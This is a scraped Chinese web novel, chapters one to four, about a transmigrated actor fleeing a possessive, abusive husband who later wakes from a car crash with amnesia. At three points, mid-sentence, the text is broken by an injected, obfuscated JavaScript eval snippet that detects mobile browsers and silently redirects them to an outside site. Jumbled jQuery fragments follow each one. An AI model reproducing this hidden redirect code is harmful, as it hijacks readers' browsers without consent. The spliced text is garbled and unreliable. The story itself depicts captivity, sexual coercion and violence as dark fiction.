《扭转剧情失败后,我跑了》
1. 第 一章
天色在顷刻间彻底地沉了下来,乌云像是被打翻的墨汁,吞噬了整片天空,狂风裹着尖锐的呼啸。
在这个地方,连树木都是扭曲的。这里的树木长得很奇怪,很高,一不小心就容易从缝隙中滚落下去。
天色越来越阴沉,起初是稀疏的噼啪声,转眼汇成洪流,飞溅起半米高的水花。
“轰——”
闪电照亮了在黑夜中奔跑的那道身影。
“逃……”
“必须要逃——”
某处的枯枝猝然断裂的声响,似乎都可以惊动这道身影。
惊雷下的脸颊漂亮得惊人,脸上布满了在树枝间穿梭的血痕。明明是深秋的季节,他身上却只有一身不合身的单薄白衬衫,整个人被雨水浸湿,露出若隐若现的腰线。
宽大的衣衫下,更显得那道身影瘦削。
可前面的树枝明明就在他的眼前,他却像是看不见似的,整个人朝着那个方向跑过去。
“呃——”
余赋秋被撞倒,一路滚落到山下。他不顾身上的剧痛,依旧爬起来疯狂地往前走。
因为有人在后面追他——
雷光再一次响彻天际,余赋秋的身子瑟缩了下,抿着唇摸黑往前奔跑。
银光照亮了那双漂亮却涣散没有聚焦的眼眸——
他是个瞎子。
再一次跌倒后,余赋秋清晰地听到了小腿传来骨裂的声音,钻心的疼痛顺着脊背往上攀沿。他蜷缩起来,像要把自己掩埋在泥土之下。
喉咙传来的干涩和涌上来的腥甜,都在告诉他,他跑了很久很久。
一滴水都没喝,一粒米都没有进食。
余赋秋不管不顾,顺着雨水的声音,想要瞪大眼睛去看清周围,但很可惜——
他的眼睛,是彻底的瞎了。
余赋秋埋头,伸出舌尖舔舐着泥泞浑浊的雨水,如同濒死的动物般跪趴下去。
或许这积水里面有自己的血迹,也有动物的尸体。
可是余赋秋管不了这么多了。
冰冷、带着土腥的味道触碰到舌尖,他却仿佛尝到了甘霖一般,急切地、贪婪地舔舐起来。泥水顺着他的下巴滑落,染湿了单薄的衣衫。
“呕——”
一股猩红的味道猛然涌了上来,他不得不趴在地上,将咽下的泥水和酸水一起吐了出来。身体因为剧烈的咳嗽和干呕而蜷缩成一团,不住地颤抖。
好冷……
长而卷翘的睫毛微微颤抖着,他脸色失去了血色,不得不抱紧自己。
环抱着自己扭曲、已经骨折的小腿。
他瞪大那双失神的眼眸,视线里一片黑暗。
他就不应该去招惹长庭知。
那个根本不是他的爱人。
为什么他努力了这么久,最后他的爱人却完完全全消散在天地之间?
不过应该没关系,余赋秋哆嗦着想,他已经身败名裂了,连春春也叫那人新妈咪了。
他已经不重要了,他跑了也不会有人在意的。
那人是长庭知命中的主角受,长庭知也知道了他只是个拙劣的骗子——捡到他,是因为早就知道他是主角攻,会给自己带来很好的生活,可以从长庭知的身上捞取不少好处。
不然,他一个黑户,连自己都养不活,为什么会去捡一个七八岁的小孩回家呢?
余赋秋曾无数次地解释过,那是爱。
他爱长庭知。
可是结局呢?
他看见长庭知那双眼睛里的讥讽。
他说,余赋秋骗了他这么久,该拿的都拿了,还要用这种廉价的感情,演着自我感动的戏码多久。
是啊。
长庭知是本书的主角攻,他生来就该被主角受拯救的,是被他抢走了。他贪心地想要取代主角受,成为长庭知的爱人。
这个美梦堪堪维持了十五年而已。
他还有什么不满足呢?
只是他想再见一次他的爱人……
冰冷的雨水似乎暂时停滞了,但比雨水更冷的寒意,从记忆深处汹涌而来。
余赋秋的手小心翼翼地、极其缓慢地抚摸上自己的小腹。
指尖隔着湿透的衣料,触碰到那道早已愈合、却依旧清晰存在的、微微凸起的疤痕。
他被那人推下了楼梯。
刺目的、蜿蜒的鲜红,正不受控制地涌出,迅速染红了浅色的地毯。
那一瞬间,他才后知后觉地意识到——原来,这里曾经悄无声息地孕育着一个小小的、脆弱的生命。
而他甚至……还没来得及感知到他的存在。
余赋秋求救地望着长庭知。
他张了张嘴,想求救,想告诉他这里有他们的孩子,想让他抓住那个凶手……
可是,他看到了什么?
长庭知用手安抚着那人,仿佛那人受到了惊吓那般。
他只是冷淡地扫了眼倒在血泊中的余赋秋。
他甚至听见长庭知用温柔的语气对那人说:“没事了,有我在。”
而后,才看着他,眼神冰冷,薄唇轻启。
“这是你要赎的罪。”
是,他贪心了。
所以他放弃了,想要走。
可是为什么……
不能放过他?
余赋秋瑟缩着,身上布满了青紫的吻痕,连脖子都带着皮质的绳子,手腕和脚腕处被磨出了深深的红痕。
他好不容易逃跑了,绝不能再回到那间地狱般的别墅里去。
但他又是胆小的,他怕长庭知。
他怕这次逃跑失败,长庭知会变本加厉地对他。
他不想再回到那间噩梦般的房子。
雨停了——?
余赋秋抬起涣散的眸子,好像没有雨声了。
他咽了口水,拖着骨折的腿,绕过树藤,慢慢地往前走着。
忽然这时候——
周围寂静下来。
余赋秋丧失了视力,听力却分外的灵敏。
他听见了不远处的爆炸声,还有……狗吠的声音。
他会暴露!
余赋秋不敢耽误,随手找了一根树枝,奋力地朝前跑。
那个人告诉他,一直往西走,会有一条河流,只要他顺着河流走,他就可以躲过长庭知,就能……逃离长庭知的掌控!
他咬紧牙关,用那根树枝支撑着身体,跌跌撞撞地、奋力地朝着认定的方向跑去。
雨水模糊了感知,风声掩盖了听觉,身后的犬吠似乎更清晰了些,夹杂着隐约的人声呼唤,如同催命的鼓点,敲打在余赋秋紧绷到极致的神经上。
快一点,再快一点——!
前方,透过雨幕和树木的间隙,他隐约听到了一道翻涌的水声。
是河!真的是河!
一股微弱的希望猛地窜起,他几乎要哭出来,用尽最后的力气,朝着那道水声踉跄扑去。
然而,就在他的指尖几乎要触碰到河边潮湿的泥土,冰冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124666|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的河水气息扑面而来的瞬间——
斜刺里,一道黑影如同鬼魅般迅捷地掠出!
一条狗猛扑在余赋秋的身上,喷洒的热气吐露在他白皙的肌肤上。
泥水飞溅。
一只铁钳般的大手,精准而冷酷地,一把攥住了他试图支撑身体的、握着树枝的手腕!
力道之大,瞬间卸掉了他所有的力气,树枝脱手飞落。
另一只手臂,则如同冰冷的铁索,从身后猛地环住他的腰。
他的脸被迫抬了起来,即使看不见,他也可以感受到那道冰冷又扭曲的视线。
长庭知勾住他脖子上的绳索,看着那张已经青紫的脸。
怎么办……
怎么办……
我被抓住了……
余赋秋的手撑在地上,因为用力,指节泛着惨白。
忽然,他听见长庭知发出了一声笑,温柔地抚摸着他的头:“宝宝,你还是那么蠢。”
他怜悯地望着余赋秋,“你身体里早就被我安装了芯片,你怎么会觉得你跑得掉呢?”
确实蠢,竟然以为自己可以跑得掉。
长庭知的怀抱是温暖的,可是余赋秋却无端地发冷,全身的血液在这一刻骤然凝固起来。
长庭知摸着他的肚子,“不就是没了一个孩子么,你要是想,想生几个生几个。”
他的指尖抚摸着那双失神的眼眸,脸上缓缓绽开一个扭曲的笑容:“你说你,瞎了又瘸了,还能跑哪去呢?”
“只能待在我的身边了,只能看见我了,不好吗?”
“我原谅你骗我,你看我多大度。”
长庭知亲了亲他的唇角,“真可怜啊宝宝。”
“你才离开了我多久,已经把自己搞成这个样子了。”
他的手掐在余赋秋的脖子上,眼神冰冷,咬牙切齿:“我真恨不得杀了你,把你做成标本,安安静静地躺在我怀里。”
“你都成这样了,还跑出去?!你非得出去勾引其他野男人?!”
“怎么,左成双、胡道元、虞琢,亢歌……”长庭知念出了几个名字,他的指尖碰到余赋秋的肚脐上方,“他们都碰过你?知道你能吃这么深?”
“还是说你就那么饥渴,这么多人才能满足你?”
“还是你就是犯贱啊?要自己赶着送上门?”
“我对你不好吗,你想要的我都给了,你还有什么不满足?!”
“……”
余赋秋的腿疼得厉害,他忽然觉得好疲倦。
“放过我吧,长庭知……”
“放过你?”长庭知似乎听到了什么笑话,“我已经查到是谁告诉你消息,把你放出去的,你说,我该怎么去惩罚那个人?”
余赋秋想到长庭知的手段,他猛然睁大眼。
“他只是无辜的!放过他!为什么你要牵扯无辜的人进来?”
“敢让你离开我的,死不足惜。”
长庭知淡淡道。
“你疯了……”
余赋秋嘴唇蠕动着,脸色灰白。
“呵。”长庭知抬手,将冰冷的锁链重新锁在余赋秋的脖子上,狠狠地将他拉到了自己的身边,“我早就疯了。”
余赋秋心如死灰,在他被捉住的那一刻,他就知道,他再也出不去了。
要是那时候发现了长庭知的异样,早点离婚的话……
剧情是不是早就会被改变了?
还会造成他们如今这般折磨的结局吗……
2. 第二章
“余哥,下一个通告是这次的amazing杂志访谈,他们从半年前就接触我们了,现在才定下来,在……”
小助理絮絮叨叨在余赋秋的耳边念叨着接下去的通告,说了一口气,扶着眼镜,拿着黑笔在下面打着勾,但下面还有一长串的通告,她忍不住叹了口气。
余赋秋就像是个工作的机器,她跟在余赋秋身边五年了,从来没见过余赋秋休息过。
明明积累的财富已经不愁下辈子的吃喝了,和余赋秋同时期出道的明星,大多已经转至幕后,甚至有的专心照顾起家庭来了,像余赋秋这么活跃的,目前谭铃看到的只有余赋秋一个人。
她曾经忍不住问余赋秋:“余哥,你这么拼是为了什么?现在什么也不缺啊。”
看着剧本的余赋秋听见她的话一怔,风吹起他的衣袖,露出的手腕细的能看清淡青色的血管,侧脸的轮廓在光影里泛着冷白,那是一种谭铃看不懂的情绪。
余赋秋的眼眸闪动,最后只是对她莞尔浅笑:“没有人会嫌弃钱多的。”
这句话谭铃至今记在心里。
她知道每周日,余赋秋有一个雷打不动的习惯,那就是会去银行取出特定的现金,存起来。
那种动作,更像是松鼠为了过冬而积蓄食物。
与其说是没有人会嫌弃钱多,更像是——
为自己的后路谋保证。
谭铃被自己这个想法吓到了,她侧过头看着余赋秋。
他垂目,长睫在眼下投出浅蹀般的阴影,指尖捏着剧本边缘轻轻摩挲,连翻页的动作都轻的怕是惊扰了字里行间的故事,角色需要,留个及肩的长发,发丝随着低头的动作滑落在颈侧,露出纤细的锁骨,周身都裹着一层软而静的光。
这张脸不论看了多少次,谭铃依旧会为之惊艳。
“啊……对了,余哥,你在听吗?”
谭铃看着捏着那一页的指尖久久未动的余赋秋,知道就是走神了。
“我,我,我在听!”
在外面的余赋秋是个看着就可靠的成年人,其实真的熟悉了,会发现他是个粗心大意的迷糊蛋。
配上那样一张脸,无辜茫然的眼神,跟个湿漉漉的小鹿一样望着谭铃,她心脏都要跳出来了。
谭铃叹了口气:“就是这样,楚楚姐才把我留在你身边的,我知道今天是您和庭知哥的五周年纪念日,可您也要对工作更加上心点呀。”
“这个访谈……结束后,我想去找他。”
余赋秋浅浅地抿了抿唇,酒窝若隐若现,眉目之间都是笑意。
自余赋秋出道以来,‘你最想娶的人是谁?’长年榜首第一名。
不论是厨房综艺、和孩子一起出去旅游的综艺、甚至是出国旅游,对于人生地不熟的地方,他也可以将一切安排的完美,尤其在一幕综艺节目中,余赋秋穿着白色的衬衣,围上浅色的围裙,从氤氲的水雾中抬起眸来,眼尾微微泛红,眼眸湿润,他歪头,对着镜头浅笑:“早上好,饭已经好咯。”
这一幕堪称人妻中的典范,也至此成了无法超越的经典。
只要余赋秋顶着这么一张脸,坐在那里,在烦躁的思迅都会柔和下来,得到了净化一样。
‘娶妻当娶余赋秋’
‘整容能整成余赋秋吗’
然后就在某天,余赋秋直接在微博上发了两个红色的小本子和一双交叠,无名指上带着婚戒的图,发文:“感谢大家一路的喜欢,现在正式给大家介绍一下我的爱人,长庭知,以后也会一起走下去哦~”
一片哀嚎,但更多的是祝福。
心中最想娶的人已经成为了他人的人妻。
更有一个微博id,‘余赋秋和长庭知离婚了吗’
【余赋秋和长庭知离婚了吗:今天离婚了吗?没有。】
“小铃,后面的你给我推了吧。”余赋秋眨巴眨巴着眼睛,双手交合,“拜托拜托。”
谭铃看了下后面密密麻麻的清单,没办法,面对这样一张脸,再无情的人也会软下心来:“好吧,我和楚楚姐说一下,给你放个假,你和庭知哥好好过五周年纪念日。”
“啊对了,小春的航班晚上到,我去接。”
想到孩子,余赋秋悬着的心放了下来。
不知道为什么,从早上开始,今天就格外的不顺。
先是长庭知半夜被工作叫去了公司,早上起来他从楼上一脚踏空,整个人一路滚到了地步,连喝口水都呛住。
半路堵车,好不容易到了片场,在上面吊着威亚的时候,威亚还断了,他整个人从三米的高空掉落在下面的垫子上,幸好只是受了点轻伤。
可是从刚才开始,他的眼皮就一直再跳。
这时候,手机‘叮咚’一响。
是他给小春单独设置的铃声。
果不其然,余赋秋刚打开手机的一瞬间,孩子的视频已经跳了出来。
“妈咪!”
孩子叫长祈春,希望他顺遂安康,盼他的日后有如醇提版温暖顺遂的期许,温暖又包含心意。
长庭知纠正过让长祈春喊爹地或者爸爸,妈咪是喊女生的称呼,爹地或者爸爸才是喊男生。
长祈春疑惑地歪了歪头,说他周围的孩子都是喊妈咪和爸比的,他不可以这么喊吗?
余赋秋心一软,就随了孩子的心。
从长祈春会说话以来,就再也没有改过了。
“春春。”
余赋秋看着视频那头眉目酷似长庭知的孩子,眸色温柔,仿若一汪清水,可以将人沉溺在其中。
“和姑姑出去游学怎么样呀?”
长祈春拉了拉周边人的衣袖,一张矜贵的脸出现在旁边,她面对余赋秋显然有些不自在,轻咳了下:“赋秋啊,吃,吃的还行吧,庭知没欺负你吧。”
“没事,姑。”余赋秋眼底闪烁出细微的笑意,这位姑姑在外当女强人惯了,已经不知道如何用温柔的姿态来面对余赋秋,不过这一切都在往好的方向转。
“晚上我让小铃去接你们,然后——”
“呜哇!我想要见妈咪!我好久没有见妈咪了!”长祈春一把抢过了镜头,对着余赋秋控诉道:“爸比那个坏人!我才放假一天,刚回家他就把我的行李收拾好了,我连妈咪一眼都没见到,他就把我赶出家,还说让姑姑我和培养培养感情。”
小孩雪白的脸蛋憋的通红:“我跟在妈咪身边的时间还不如齐爷爷带我的时间长呢!”
“爸比这个坏人,就是不想我和妈咪在一起。”
“我这次可不给他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124667|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带礼物了!”
余赋秋失笑,这个孩子是一个变数,同时也是他的定心丸。
只要有长祈春在,或许长庭知会一直在他的身边,会一直爱着他。
褚宝梨把长祈春抱在腿上,捏了捏他胖嘟嘟的小脸,对着镜头道:“赋秋,今天是你们五周年的纪念日,姑也没什么好送的,给你理了几份文件,算是我的一点心意,你和庭知好好过,我和春春不会打扰到你们的。”
“什——姑姑!”
长祈春不满地喊道,还想再说什么,却被挂断了电话。
谭铃捂嘴掩笑:“小春这活脱的性子可是像余哥。”
余赋秋点开了置顶的信息。
是长庭知一个小时前发来的消息:【不想开会议QWQ】
【QAQ想要回去抱着亲亲老婆窝在被子里面,不想上班,嘤嘤嘤。】
【老婆老婆老婆。】
【又要开会了{流泪猫猫头},赚钱给老婆花!】
【嘿嘿,会议结束了,迫不及待想要回家亲亲你。】
【我开车咯,半个小时后等我呀。】
【爱你老婆,爱你爱你爱你。】
余赋秋的指尖停留在上面,耳边是谭铃的阴阳怪气:“爱你,老婆老婆~”
“哟哟哟哟,就他有老婆,就他显摆。”
谭铃气的牙痒痒,这个长庭知到底为啥这么好命,财阀的妈,集团的独生子,还有这么一个如花似玉名气大的老婆。
好事都给他占尽了,上帝到底给他关了什么门!
“五年了,你们感情是真好啊。”
谭铃忽然羡慕道。
余赋秋摩梭着屏幕上的话,他抬眸望着川流不息的车,阳光从树叶的缝隙中投射下来,连窗外的鸟鸣,都像是裹了一层糖。
“如果能一直持续下去,那该多好……”
他喃喃自语。
“余哥,家里布置好了吗?”谭铃收起通告,好奇地眨了眨眼睛。
从前几天开始,余赋秋就忙碌起来,既便在密密麻麻的通告里面,都会挤出时间回家去布置。
今天是他们结婚五周年的几日年,家里的餐桌上铺着余赋秋挑选的亚麻桌布,在桌子的正中间摆放着他练习了无数次才成功的巧克力熔岩蛋糕,而在旁边放着的,是余赋秋亲手酿制的酒。
他给长庭知送的纪念礼物是一份从他们相识相知到相爱的纪念册。
余赋秋已经想到了长庭知在收到这个相册的时候,又该跟个小哭包一样了。
他甚至可以想象长庭知回到家,推开门的一瞬间,那冷峻面容上微微松动的柔和线条,肯定感动的泪流满面。
五年的时间,似乎并没有抹消掉激情,反而将爱意沉淀得更加醇厚,他们从一无所有到如今各自领域内得翘楚,用了有旁人羡慕的一切,包括一个眉眼像极了长庭知的孩子。
如果这一切没有被电话打破的话。
屏幕上闪烁着一个陌生的号码。
余赋秋下意识的点开:“喂,庭知——”
“您好,请问是余赋秋先生吗。”
“……我是。”
“这里是市中心医院急救,长庭知先生发生严重的车祸,目前正在抢救,需要您过来签字……”
3. 第三章
“余哥——”
谭铃就在旁边,听到了电话里传来的声音。
她的心咯噔一下,话语滚在舌尖几下,喉头滚动了两下,张嘴半响,只发出了几个音节。
她本以为余赋秋会崩溃,会手足无措不知道怎么办。
但余赋秋听到消息之后,抿着唇,只是沉思了几秒,他紧握着手机,轻声地应了一声,沉着冷静地回答:“好的,我现在就在赶过去的路上。”
他抬眸看了一眼马路上的红绿灯,“我正在九十九路,大致还有半个小时到,若需要任何签字的等我过去,一切以长庭知的性命优先,任何责任我来担待。”
那头似乎没想到余赋秋会如此干脆利落,“啊,好,好的。”
谭铃坐在副驾驶,眼神担忧地看着后排的余赋秋。
“我没事。”
余赋秋对上谭铃的视线,冲着她笑了笑,“打开隔板吧,我想透透气。”
中间的隔板缓缓升起,将前后排隔绝成两个世界。
当那层物理屏障被彻底合拢,发出轻微的‘咔哒’声音,余赋秋脸上强撑出来的镇定如同被敲碎的冰面,瞬间土崩瓦解。
脸上仅有的血丝也消散无踪,他缓缓地蜷缩起身子,将自己陷入柔软的座椅中,仿佛所有的力气都被尽数抽干。
窗外的树影飞驰而过,细碎的阳光在树叶的缝隙中照射下来,掠过他的窗面,在他失焦的瞳孔中划开一道模糊的光影,没有任何的暖意。
“长庭知……”
余赋秋无声地翕动着嘴唇,这三个名字在唇齿间滚动着。
他穿书而来,所谓的任务是去将虐文转为甜文,促进主角攻受的感情。
可他穿过来,什么都没有,身无分文,他还只是个刚出院的精神病患者,这样的他怎么有资格去帮助别人呢?
就在这个时候,长庭知闯入了他的世界。
是他摇摇欲坠精神世界的锚点,是他所有坚硬外壳下最柔软的存在。
他的眉心狂跳,他抬起手,不是像往常那样揉着自己的眉心,而是用冰冷的手背死死抵住自己的嘴,抵住那要冲破喉咙的呜咽。
肩膀不受控制地颤抖,起初是细微的,继而变得剧烈,仿佛要将五脏六腑都震碎。
泪水毫无征兆滚落下来,他侧过头,将额头抵在冰冷的车窗玻璃上,试图用那一点凉意来镇压脑海中翻滚的,足以将他溺毙的恐慌。
玻璃上倒映出他模糊而苍白的倒影。
真是狼狈。
余赋秋想。
他想起半夜,迷迷糊糊感知到了长庭知出门,他伸手拉着长庭知的衣角,软着声音问他去哪里。
长庭知捏着他的后颈,带着未散的睡意吻他,“明天回来给你带栗子蛋糕,秋季限定。”
“我要……”
“要糖?”
余赋秋睁开睡眼惺忪的眼,只是刚抬眸,长庭知就把他抱在自己的怀中,呼吸粗喘,密密麻麻的吻落下来,把他吻的喘不过去才肯罢休。
他低垂着眼眸,拇指反复摩梭着被吻的红肿的唇瓣,晦暗道:“……回来给你奖励个更好吃的。”
他声音沙哑,好似在克制着什么,温柔又谨慎的在余赋秋的发间落下浅浅一吻。
那温暖的触感似乎还残留着,此刻却已经遥不可及。
怎么会是车祸?
怎么会是……抢救?
每一个词都像是一把钝刀,在他的心口上反复的切割,他多希望此刻躺在医院里的是自己,宁愿承受所有痛苦的人是他。
长庭知的根在这里,他有爱他的爸爸妈妈,有他从小到大一起玩的好朋友、同学……
——甚至可能是未来的爱人。
而他,他只是一个外来者,不知道什么时候会离开这个世界,他只是个一个入侵者,只是一个小偷。
他不属于这里。
他的根不在这里。
压抑的,破碎的喘息终于从指缝中漏了出来,在完全私密狭小的空间里面,显示的格外清晰。
余赋秋抬起另外一只手,紧紧抓住自己胸口的衣料,那里的心脏正在一阵阵痉挛地抽搐,每次呼吸都带上一阵阵的疼痛。
他仰起头,紧靠在玻璃窗上,良久,从紧绷的喉间露出了一声压抑的呜咽。
车辆平稳地行驶着,朝着医院的方向,在这个短暂却又漫长的路程里面,在这个被隔绝的一方空间里面,余赋秋只允许自己崩溃这一次。
……
谭铃神色担忧地看着被隔开的车板,原本要半个小时的路程,硬生生缩短了一半,她忐忑不安地打开门。
却见余赋秋神色镇定地从后门上下来,发丝整齐,衣物整洁,只是眼尾泛起的一丝殷红显示了他刚才奔溃的情绪。
“小铃,你们先回去吧,晚上把春春接回去,先带去老宅。”
余赋秋扣好大衣。
“余哥,我可以陪你——”
“你在这里帮不了我什么忙。”余赋秋微微侧身,半扎的长发吹落,那双向来温柔的眸子此刻冷淡地凝视着谭铃。
这是谭铃从未见过的余赋秋,分外的陌生,她忍不住往后退了两步,直到抵在了半开的车门上。
“辛苦你了。”
风吹起他的长发和衣角,等谭铃回过神的时候,已经看不到余赋秋的身影了。
“你好,我是余赋秋,长庭知他现在在哪里?”
余赋秋不顾旁人惊讶的眸光,直接去了护士台。
护士台看到他那一刻,安静了一瞬,随即立刻反应过来,这家医院安保措施做的不错,加上余赋秋把长庭知出车祸的消息压了下来,现在还没有媒体蹲守在外面。
或许有,但余赋秋完全不在乎了。
“我,我带您去!”
前台一个小护士在前面给余赋秋带路。
护士鞋敲击瓷砖地面的声音在空旷的走廊里回响,急促而清晰,余赋秋跟在她的身后,步履很快,但步伐却异常的沉稳,只有微微紧抿的唇线和袖口下攥得骨节发白得手,泄露了他此刻的情绪。
他被引到手术室外那片冰冷的等候区,门上方‘手术中’三个红字亮的刺眼。
余赋秋站在门口,仰起头,久久凝视着那三个字。
时间,在这里变得粘稠而缓慢,余赋秋挺直脊背坐在长椅上,目光凝视着那扇门,仿佛要将他看穿。
周围聚集了一些人,似乎是知道了什么,想要拿出手机,余赋秋只是抬头,淡声道:“这里是医院,我现在不想被打扰,也请不要拍我,现在是我的私人时间。”
赶来的左成双将聚集的人群都赶了出去,坐在他的身边,看着面无表情的余赋秋。
“他……情况不好。”
左成双是长庭知的发小,在这家医院工作。
他拿着手中的通知单,让余赋秋签字。
“他开的太快,撞到了脑子,可能会醒来,可能会一辈子成为植物人。”
“我所能做的,就是保住他的生命。”
左成双本以为余赋秋会犹豫很久,既便他身为长庭知的发小,对于余赋秋也不是很了解。
长庭知看人看的很紧,根本舍不得把人带出来给他们认识。
这是他第一次认真地看着余赋秋的脸。
因为来得急,余赋秋额前细碎的黑发被汗水打湿,走廊冷白的光线落下来,在细密的汗珠上折射出星星点点、近乎破碎的白嫩光晕,衬得他整个人都在发光。
跑的及,室内外的温差,让他的皮肤透着一层极淡、活生生的绯色,此刻的眼尾泛着红,像是被风雪摧残过的桃花瓣,潮湿、脆弱,这是一种更为惊心动魄的艳色。
左成双的心口,似乎被什么东西毫无征兆地、狠狠顶了一下。
他知道了,为什么长庭知把人看得紧,不舍得把他带出来认识一下他们。
如果是他,他只会想把人锁起来。
忽然对上那双眼眸,左成双的心漏跳了一拍,呼吸都稍微急促起来。
“如果,如果你不想——”
他的话都带上了结巴。
余赋秋根本没有犹豫,在通知书上签下自己的名字,“我以长庭知爱人的身份签下这个,请你务必,用最好的方案去救他,既便风险高,我只要他活着。”
“他会好起来的。”
在左成双拿着通知书重新进入手术室的时候,他听到余赋秋这么说。
他不明白为什么余赋秋如此肯定。
长庭知送过来的时候,呼吸都近乎微弱到感受不到,是一种濒死的状态,左成双看到他的那一刻,其实心里就已经判了死刑。
但余赋秋知道。
长庭知是男主,整个世界都是围绕他和另外一个人旋转。
他不会死,只要有一丝呼吸在,他就不会死。
这也足够了。
余赋秋像是卸下了全身的力气,紧紧闭着双眼。
他深吸一口气,转身走到走廊的尽头,拿出了手机
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124668|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,屏幕解锁,是无数个工作通知和未接来电。
他没有丝毫犹豫,拨通了经纪人的电话。
“楚楚姐。”他的声音已经恢复到平日的冷静,甚至带着一种斩钉截铁的决绝:“未来几个月的工作……先给我取消了吧。”
电话那头静默半响:“你努力了这么久,好不容易走到了国际舞台,确定要放弃吗,我们争取了很久,你也是为了那个电影试镜——”
“我知道。”
余赋秋打断她,目光穿透昏暗的长廊,抵达手术室的门口:“所有的违约金,我来负责,对外声明,是我个人的原因。”
“我会负起全责。”
“……你疯了?余赋秋?”经纪人不可置信地抬高了音量:“这相当于你自己葬送了你自己的职业生涯!”
“你让粉丝怎么办?让那些支持你,热爱你的人怎么办?”
“楚楚姐。”他的声音柔和下来,仔细听还能带着一丝丝的颤抖:“没有什么,比他更重要。”
“我首先是他的爱人,其次……我才是演员余赋秋。”
电话那头沉默了下来,楚楚长叹了一口气,“知道了,容我在想想。”
说完,他直接挂断了电话,顺手把手机关掉。
世界,在此刻骤然清静下来。
接下来的日子,余赋秋直接消失在了公众的视野里面,他停掉了所有的工作,推掉了所有的邀约,连社交媒体也不再登录。
而在医院顶层的VIP病房区,多了一个沉默而忙碌的身影。
他不再是舞台上光芒四射的明星,也不是一个活跃在荧幕前的演员,此刻的而他,只是一个守在病房床前的普通家属。
他亲自向护工学习如何护理,小心翼翼地为长庭知擦拭身体,按摩肌肉,防止萎缩。
褚宝梨从国外飞过来,看到都就是余赋秋趴在床边,用棉签蘸取着水,一点点湿润长庭知干裂的嘴唇,低声说着什么。
“庭知,睡够了吗?”
“庭知,春春今天打电话抱怨说为什么我们还不回去,是不是五周年在外面玩嗨了,把他一个人扔在家里。”
余赋秋笑道,捏着长庭知的脸,神色温柔:“他不知道哪里学来的话,和我控诉道‘爸妈才是真爱,他是意外’,这小孩,才六岁,什么都知道了。”
“春春还给你画了新画,说咱们回来,给咱们看呢……”
“公司的事情有姑姑呢,你别担心……”
“……你快点醒来,好不好?”
“赋秋。”褚宝梨叹了口气,把外套解下来,披在余赋秋的身上,“怎么瘦了这么多……”
“你休息一下吧,自庭知手术做完后,你一刻也不停歇…”
“没事的姑姑。”
余赋秋吸了吸鼻子,“我出去倒点水。”
就在他接了热水那一刻,手不稳,滚烫的开水溅出,在手背上留下清晰的红色烫痕。
褚宝梨的声音带着欣喜和惊慌:“赋秋!醒了!醒了!”
余赋秋浑身一僵,所有的困倦瞬间烟消云散。他猛地抬头,心脏像是被一只无形的手攥紧,几乎要跳出胸腔。
他整个人被骤大的狂喜淹没,连日来的担忧、恐惧、强撑的坚强在这一刻土崩瓦解。他几乎是扑到床边,声音带着无法抑制的颤抖和哽咽,眼眶瞬间就红了。
病床上,长庭知浓密的睫毛剧烈地颤抖着,仿佛在与沉重的意识搏斗。
终于,在那片混沌的黑暗挣扎了许久之后,他那双紧闭了数日的眼睛,缓缓地、艰难地睁开了一条缝。
光线似乎有些刺眼,他不适地眯了眯,眼神涣散而迷茫,没有焦点。
“你醒了!你终于醒了!有没有哪里不舒服?头还疼吗?我、我去叫医生!”
他激动得语无伦次,下意识地就像往常无数次那样,伸出手,想要去触碰长庭知的脸颊,想要感受那真实的温度,确认这不是他另一个绝望的梦境。
然而——
就在他的指尖即将触碰到那苍白皮肤的瞬间,长庭知的头微微向后一仰,以一个清晰无比的、带着抗拒意味的动作,避开了他的触碰。
余赋秋的手,就那样僵硬地、尴尬地停在了半空中。
狂喜凝固在脸上。
他怔怔地,对上了长庭知清醒过来的目光。
以往那双充满爱意的眸子,此刻只有全然的冷漠。
他听见长庭知冰冷的声音。
问他:“你是谁。”
4. 第 4 章
“你是谁?”
或许是余赋秋僵硬在那里很久没动,长庭知拧着眉头,指尖揉着眉心,疲倦万分,“你应该是我的助理吧,我发生了什么事情,和我说说。”
助理?
余赋秋攥着水杯的指节泛白,声音发颤地问:“你,你不记得我了?”
这个问题显然超出了长庭知所认为‘助理’该关心的范畴。
他按揉眉心的动作顿住了,终于抬起了眼,然而,那目光里面没有丝毫对眼前人异常反应的探究和好奇,只有被打扰后的不悦,以及……一种仿佛被什么粘腻的东西缠绕上的厌恶。
他最厌恶这种越界,带着私人情感的试探,尤其是在他大病醒来的时候。
“记得你?”长庭知扯了扯嘴角,充斥着冰冷的嘲讽和毋庸置疑的疏离,“我该记得一个助理什么?”
“还是说——”
他对上余赋秋含泪的眸子,神情一致,指尖紧抓着胸口的衣料,拧着眉头,为什么胸口这么难受?
